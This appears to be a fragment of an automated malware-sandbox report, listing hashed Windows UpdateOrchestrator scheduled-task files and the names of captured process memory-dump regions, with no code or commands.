                                                                                                                          Schedule Maintenance Work

                                                                                                                          • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                                                          • Size 2KB
                                                                                                                          • SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          Schedule Maintenance Work

                                                                                                                          • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                                                          • Size 2KB
                                                                                                                          • SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          Schedule Wake To Work

                                                                                                                          • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                                          • Size 2KB
                                                                                                                          • SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          Schedule Wake To Work

                                                                                                                          • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                                          • Size 2KB
                                                                                                                          • SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          Schedule Work

                                                                                                                          • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                          • Size 2KB
                                                                                                                          • SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          Schedule Work

                                                                                                                          • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                          • Size 2KB
                                                                                                                          • SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          memory/316-113-0x00007FFA36C70000-0x00007FFA36C80000-memory.dmp

                                                                                                                          memory/316-112-0x0000026D74570000-0x0000026D7459B000-memory.dmp

                                                                                                                          memory/316-106-0x0000026D74570000-0x0000026D7459B000-memory.dmp

                                                                                                                          memory/436-117-0x000001FA57F30000-0x000001FA57F5B000-memory.dmp

                                                                                                                          memory/612-72-0x00000240B9340000-0x00000240B936B000-memory.dmp

                                                                                                                          memory/612-73-0x00000240B9340000-0x00000240B936B000-memory.dmp

                                                                                                                          memory/612-80-0x00007FFA36C70000-0x00007FFA36C80000-memory.dmp

                                                                                                                          memory/612-79-0x00000240B9340000-0x00000240B936B000-memory.dmp

                                                                                                                          memory/612-71-0x00000240B8EE0000-0x00000240B8F05000-memory.dmp

                                                                                                                          memory/676-91-0x00007FFA36C70000-0x00007FFA36C80000-memory.dmp

                                                                                                                          memory/676-84-0x000001E099000000-0x000001E09902B000-memory.dmp

                                                                                                                          memory/676-90-0x000001E099000000-0x000001E09902B000-memory.dmp

                                                                                                                          memory/952-95-0x00000119A95A0000-0x00000119A95CB000-memory.dmp

                                                                                                                          memory/952-101-0x00000119A95A0000-0x00000119A95CB000-memory.dmp

                                                                                                                          memory/952-102-0x00007FFA36C70000-0x00007FFA36C80000-memory.dmp

                                                                                                                          memory/1384-21-0x000001512B000000-0x000001512B03C000-memory.dmp

                                                                                                                          memory/1384-801-0x00007FFA588C0000-0x00007FFA59381000-memory.dmp

                                                                                                                          memory/1384-4-0x00007FFA588C3000-0x00007FFA588C5000-memory.dmp

                                                                                                                          memory/1384-20-0x000001512AFA0000-0x000001512AFB2000-memory.dmp

                                                                                                                          memory/1384-19-0x000001512AB30000-0x000001512AB9C000-memory.dmp

                                                                                                                          memory/1384-17-0x000001512AAA0000-0x000001512AADE000-memory.dmp

                                                                                                                          memory/1384-16-0x00007FFA588C0000-0x00007FFA59381000-memory.dmp

                                                                                                                          memory/1384-15-0x00007FFA588C0000-0x00007FFA59381000-memory.dmp

                                                                                                                          memory/1384-14-0x00000151105F0000-0x0000015110612000-memory.dmp

                                                                                                                          memory/2104-56-0x00007FFA76BF0000-0x00007FFA76DE5000-memory.dmp

                                                                                                                          memory/2104-57-0x00007FFA76990000-0x00007FFA76A4E000-memory.dmp

                                                                                                                          memory/2104-55-0x0000015651340000-0x000001565136A000-memory.dmp

                                                                                                                          memory/4032-38-0x000002263D010000-0x000002263D054000-memory.dmp

                                                                                                                          memory/4032-39-0x000002263D440000-0x000002263D4B6000-memory.dmp

                                                                                                                          memory/4032-31-0x00007FFA588C0000-0x00007FFA59381000-memory.dmp

                                                                                                                          memory/4032-32-0x00007FFA588C0000-0x00007FFA59381000-memory.dmp

                                                                                                                          memory/4032-37-0x00007FFA588C0000-0x00007FFA59381000-memory.dmp

                                                                                                                          memory/4032-934-0x00007FFA588C0000-0x00007FFA59381000-memory.dmp

                                                                                                                          memory/5460-65-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                          memory/5460-60-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                          memory/5460-61-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                          memory/5460-67-0x00007FFA76990000-0x00007FFA76A4E000-memory.dmp

                                                                                                                          memory/5460-66-0x00007FFA76BF0000-0x00007FFA76DE5000-memory.dmp

                                                                                                                          memory/5460-68-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                          memory/5460-58-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                          memory/5460-59-0x0000000140000000-0x0000000140008000-memory.dmp